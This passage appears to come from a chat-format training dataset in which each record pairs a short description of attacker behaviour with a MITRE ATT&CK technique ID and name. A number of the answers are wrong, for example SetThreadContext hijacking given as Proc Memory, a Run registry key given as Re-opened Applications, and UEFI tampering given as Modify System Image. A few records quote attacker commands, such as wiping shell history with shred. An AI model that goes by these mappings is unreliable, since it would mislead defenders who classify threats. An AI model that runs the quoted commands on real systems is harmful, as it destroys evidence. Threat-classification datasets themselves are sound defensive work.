                "content": "A Trojan includes a time-based condition that only activates after the system has been running for a certain period, evading short-lived sandboxes."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to enumerate trusted domains via Get-ADDomainTrust to map the enterprise trust landscape."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerability in the authentication service to request and retrieve OTP codes directly."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the pre‑OS environment by hosting a malicious boot file on a TFTP server that devices retrieve at startup."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerated Confluence user groups to locate privileged accounts and download their wikis."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary triggers a stack overflow in a network firewall process, causing the endpoint to lose connectivity."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tampered with the firmware of a server’s UEFI to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary launches a denial-of-service attack on the victim’s critical application servers."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using GPOs, attackers embed credentials in clear text within Group Policy Preference files, later exfiltrating them for use in attacks."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses SQL Server's sp_OACreate stored procedure to instantiate COM objects for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses \"crictl ps\" to list container runtimes and associated processes on the host."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain breach resulted in attackers creating new Linode compute instances using harvested API tokens to facilitate further malicious actions."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a keylogger delivered through a malicious PDF attachment that records social media login credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a malicious Excel .xlt template that, when opened, triggers a macro to download additional weaponized scripts from a command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The hacker injects an SSH public key into the authorized_keys file of the admin account to retain control."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator used sudo with the -S option to feed a stolen password via stdin, automating privilege escalation in a scripted attack."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder takes over a DNS server to manipulate domain name lookups for phishing attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used `shred -u ~/.bash_history` to securely erase the command history before exiting."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware downloads additional modules from an external C2 server to extend its capabilities."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden SharePoint folder, syncs it with the victim’s device, and later retrieves the synced files remotely."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group conducts a TCP port scan combined with service fingerprinting to map network service landscape."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary edits the com.apple.loginwindow.plist file to add a malicious launch daemon for persistence."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans public cloud storage buckets for SQL dump files that may contain sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script moves collected screenshots into a local staging directory before compressing and sending them."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the drop phase, the attacker trims the payload by eliminating any embedded certificates, ensuring the file appears benign to security tools."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a hidden command channel by embedding instructions in DNS TXT records for a domain they control."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email uses a malicious link that exploits a browser vulnerability to execute code without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script collects the SID of domain groups to map privilege assignments."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic resolution is employed by the threat group, constantly rotating the IP addresses behind a malicious domain to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages PowerShell's Get-ADGroupMember cmdlet to discover members of privileged groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of the startup folder's unquoted path entry, the adversary inserts a malicious script that runs before the legitimate startup program."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses spoofed ICMP Echo Request packets sent to numerous routers, causing amplified Echo Reply traffic to flood the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sends a WMI query \"Select * from CIM_DataFile\" to retrieve file information from the target."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised browser extension executes JavaScript that captures screenshots and uploads them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors used stolen Azure AD credentials to create a new Azure Virtual Machine to host malware."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors take over a legitimate SSH connection using stolen credentials to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a PowerShell script to %TEMP% and modifies the AppInit_DLLs registry value to load the script, using it to proxy execution of other tools."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary researches the target company's public website, LinkedIn profiles, and press releases to collect details about its executives, subsidiaries, and business operations."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses SetThreadContext to modify the execution flow of a suspended process after injecting payload into its memory."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks the Linux VDSO by overwriting its function pointers to execute malicious payloads within a target process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leveraged Confluence's page export REST endpoint to retrieve documentation containing network diagrams."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor sets up a scheduled task that triggers a PowerShell script via WinRM to maintain remote access."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a Run registry entry that launches the malicious executable each time the user logs on, effectively reopening the application after reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used the container runtime's exec API to run a reverse shell from within a compromised container."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads the contents of the Windows Mail app’s mailstore.db file to harvest messages."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a sandboxed VM environment to hide their tools and processes from detection."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerability in the repository management web interface to bypass authentication and download source code archives."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers buy a domain that mimics a popular brand to lure victims to credential‑stealing sites."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a legitimate Microsoft Authenticode certificate to sign a weaponized PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker installs a custom transport agent on the organization's messaging server to harvest credential information from email contents."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware was observed encrypting database files using ChaCha20, then demanding payment for the decryption key."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group installs a rootkit that blocks security tool alerts and prevents updates."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware app bundles the encrypted payload and victim files into a unique .bundle container before sending it out."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a misconfigured Azure Storage container to retrieve stored access keys for the subscription."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting an SQL injection flaw, the attacker altered database entries that control site titles, causing the website to display offensive messages."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded in the System V init RC script to persist after system restarts."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised a certificate issuance service to issue unauthorized client authentication certificates for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the WSMan service to enumerate accounts and retrieve system information from remote hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up an automatic forwarding rule in the victim's Outlook account to send all incoming emails to an external address they control."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a signed installer that registers a new launch agent, causing a trojan to run whenever the user logs in."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Port knocking is employed by transmitting TCP FIN packets to ports 22, 2222, and 22222 in a secret order, prompting the host firewall to dynamically open port 22 for the attacker’s IP."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a reverse SSH tunnel to pull a data‑exfiltration tool from a remote host into the victim's environment."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends SMS messages (smishing) that contain a short URL directing users to a replica banking site where they are asked to verify their account details and PIN."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware triggers a UAC bypass via a fake elevation dialog, misleading the user into granting admin rights to a trojan."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor hijacked the organization's custom software deployment tool to push a payload that created a persistent remote access service."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group searches for the target's domain using search engine advanced operators to discover hidden pages."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a stolen code signing credential to sign a multi‑stage payload used in a supply‑chain compromise."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Nmap to perform a comprehensive port scan on the target subnet, identifying services and potential vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries invoke the ZwQuerySystemInformation system call with SystemModuleInformation to retrieve loaded driver modules."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the Windows Registry for system time zone settings to adjust its timestamps."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a post-exploitation phase, the malware runs the command 'net group \"Domain Admins\" /domain' to discover high‑privilege domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a link that triggers mshta.exe to open a crafted HTML Application (HTA) file, which then runs PowerShell commands."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell to retrieve the domain's password policy settings via net accounts."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals collect publicly available YouTube comments that reveal insider names and roles within the victim organization."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining initial access, the attacker leveraged a tool that parses saved chat archives from the Rocket.Chat server, retrieving API keys and user credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious application incorporates irrelevant data into its configuration files to confuse automated tools."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a new RADIUS shared secret into the router's config to redirect authentication."
            },
            {
                "role": "assistant",
